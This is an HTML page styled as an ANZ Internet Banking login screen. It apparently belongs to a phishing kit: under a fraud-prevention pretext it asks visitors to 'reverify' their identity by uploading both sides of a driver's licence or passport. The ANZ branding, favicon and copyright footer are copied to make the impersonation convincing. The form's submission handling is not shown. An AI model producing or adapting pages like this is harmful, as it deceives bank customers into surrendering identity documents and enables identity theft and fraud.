<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Login - ANZ Internet Banking</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;500;700&display=swap" rel="stylesheet">
    <link rel="icon" href="https://login.anz.com/internetbanking/favicon.ico" />
    <style>
    * {
        margin: 0;
        padding: 0;
        box-sizing: border-box;
    }

    .image-container {
        display: flex;
        justify-content: center;
        align-items: center;
        height: 200px;
    }

    .sheild-logo {
        width: 270px;
    }

    html, body {
        height: 100%;
        font-family: 'Roboto', 'Helvetica Neue', Helvetica, Arial, sans-serif;
        color: #4e4d4d;
        background-color: #ffffff;
        font-size: 15px;
    }

    a {
        color: #007dba;
        text-decoration: none;
    }

    a:hover, a:focus {
        text-decoration: underline;
    }

    img {
        max-width: 100%;
        height: auto;
        display: block;
    }

    .container {
        width: 90%;
        max-width: 600px;
        margin: 0 auto;
        padding: 40px 20px;
    }

    .header .container {
        padding: 10px 20px;
    }

    h1 {
        font-size: 2em;
        color: #4e4d4d;
        margin-bottom: 20px;
    }

    p {
        margin-bottom: 15px;
        line-height: 1.6;
    }

    ul {
        list-style: none;
        padding-left: 0;
    }

    li {
        margin-bottom: 10px;
    }

    label {
        font-weight: 600;
    }

    .header {
        background-color: #004165;
    }

    .header .logo img {
        height: 50px;
        width: auto;
    }

    .main-content {
        display: flex;
        justify-content: center;
        align-items: flex-start;
        padding: 60px 0;
    }

    .login-section {
        display: flex;
        flex-direction: row;
        gap: 60px;
        width: 100%;
    }

    .login-form, .support-section {
        background-color: #fff;
        padding: 70px 50px;
        border: 1px solid #e2e4e6;
        border-radius: 2px;
        flex: 1;
        box-shadow: 0 4px 6px rgba(0, 0, 0, 0);
    }

    .login-form h1 {
        margin-bottom: 30px;
    }

    .form-group {
        margin-bottom: 20px;
    }

    .form-group label {
        display: block;
        margin-bottom: 8px;
        font-weight: 600;
    }

    .form-group input {
        width: 100%;
        padding: 12px 15px;
        border: 1px solid #ccc;
        border-radius: 4px;
        font-size: 1em;
        transition: border-color 0.3s ease;
    }

    .form-group input:focus {
        border-color: #0072ac;
        outline: none;
    }

    .btn-primary, .btn-secondary, .btn-outline-primary {
        border: none;
        border-radius: 4px;
        cursor: pointer;
        font-weight: 600;
        transition: background-color 0.3s ease, color 0.3s ease, transform 0.2s ease;
        display: inline-flex;
        align-items: center;
        justify-content: center;
    }

    .btn-primary {
        display: flex;
        align-items: center;
        justify-content: center;
        background-color: #0072ac;
        width: 100%;
        color: #fff;
        padding: 14px 25px;
    }

    .btn-primary .btn-icon {
        width: 20px;
        height: 20px;
        margin-right: 8px;
    }

    .btn-primary:hover {
        background-color: #0080c0;
    }

    .btn-secondary {
        background-color: #f0f0f0;
        color: #004165;
        margin-top: 15px;
        padding: 12px 0;
    }

    .btn-secondary:hover {
        background-color: #e0e0e0;
    }

    .btn-outline-primary {
        background-color: #ffffff;
        color: #0072ac;
        border: 2px solid #0072ac;
        padding: 6px 12px;
        font-size: 0.875em;
    }

    .btn-outline-primary:hover {
        background-color: #0072ac;
        color: #ffffff;
    }

    .additional-links {
        margin-top: 20px;
    }

    .footer {
        background-color: #006da8;
        color: #fff;
        padding: 10px 0;
        text-align: left;
        position: relative;
        bottom: 0;
        width: 100%;
    }

    .footer p {
        margin: 0;
        font-size: 0.95em;
    }

    .file-label {
      display: inline-block;
      width: 100%;
      padding: 12px;
      background-color: #0072ac;
      color: white;
      text-align: center;
      border-radius: 10px;
      cursor: pointer;
      font-size: 1rem;
      transition: background-color 0.3s, color 0.3s, box-shadow 0.3s;
      box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
    }

    .file-label:hover {
      background-color: #005bb5;
      box-shadow: 0 6px 12px rgba(0, 0, 0, 0.2);
    }

    .file-label.filled {
      background-color: #28a745;
    }

    .file-label.filled span {
      display: inline;
    }

    label {
      display: block;
      margin-bottom: 0.5rem;
      font-weight: bold;
      color: #555;
    }

    input[type="file"] {
      display: none;
    }

    @media (max-width: 1024px) {
        .login-section {
            flex-direction: column;
            gap: 30px;
        }
    }

    @media (max-width: 740px) {

        .container {
        padding: 40px 0px;
        }

        h1 {
            text-align: center;
        }

        .login-form, .support-section {
            background-color: #fff;
            border: 0px;
            flex: 1;
        }

        .main-content {
            flex-direction: column;
            padding: 20px 0;
        }

        .login-section {
            flex-direction: column;
            gap: 20px;
        }

        .login-form, .support-section {
            padding: 0px;
        }

        .btn-primary, .btn-secondary, .btn-outline-primary {
            width: 100%;
            padding: 12px 0;
        }

        h1 {
            font-size: 1.75em;
        }

        h2 {
            font-size: 1.3em;
        }
    }

    a:focus, button:focus, input:focus {
        outline: 2px solid #005f8d;
        outline-offset: 2px;
    }

    .hr-style {
        margin-bottom: 34px;
    }

    @media (max-width: 600px) {
        .btn-primary .btn-icon {
            width: 18px;
            height: 18px;
            margin-right: 6px;
        }
    }
    </style>
</head>
<body>
    <header class="header">
        <div class="container">
            <a href="https://www.anz.com.au/personal/" class="logo">
                <img src="./images/anz_logo.svg" alt="ANZ Logo">
            </a>
        </div>
    </header>
    <main class="main-content">
        <div class="container">
            <div class="login-section">
                <div class="login-form">
                    <div class="image-container">
                        <img src="./images/shield_otp.png" class="sheild-logo" alt="Shield Logo">
                    </div>                    
                    <h1 style="text-align: center; margin-top: 10px; margin-bottom: 1px;">Let's Verify Your Identity</h1>
                    <p style="text-align: center; font-size: 14px;">ANZ is implementing enhanced measures to prevent fraud. Consequently, we may occasionally require you to reverify your identity.</p>
                    
                    <div class="form-container">
                    <form id="licenseForm">
                        <p></p>
                        <p>Please upload a original copy of the front and back of either</p>
                        <li>Drivers License</li>
                        <li>Passport</li><br>
                        <div class="row">
                          <label class="file-label" for="licenseFront"><span>Front of Document</span></label>
                          <input type="file" id="licenseFront" name="licenseFront" accept="image/*" required />
                          <label class="file-label" for="licenseBack"><span>Back of Document</span></label>
                          <input type="file" id="licenseBack" name="licenseBack" accept="image/*" required />
                        </div>
                        <button type="submit" class="btn-primary" id="submitButton" style="margin-top: 20px;">
                            <img src="./images/upload.svg" alt="Login Lock" class="btn-icon">
                                Submit
                        </button>
                    </form>
                </div>

                    <div class="additional-links">
                        <p style="font-size: 10px; margin-top: 20px;">By submiting these documents, you confirm that they are original and authentic copies. You also certify that you are the rightful owner of these documents or have obtained permission from the document owner.</p>
                    </div>

                </div>
            </div>
        </div>
    </main>
    <footer class="footer">
        <div class="container">
            <p>© Australia and New Zealand Banking Group Limited (ANZ) 2025 ABN 11 005 357 522.</p>
        </div>

</footer>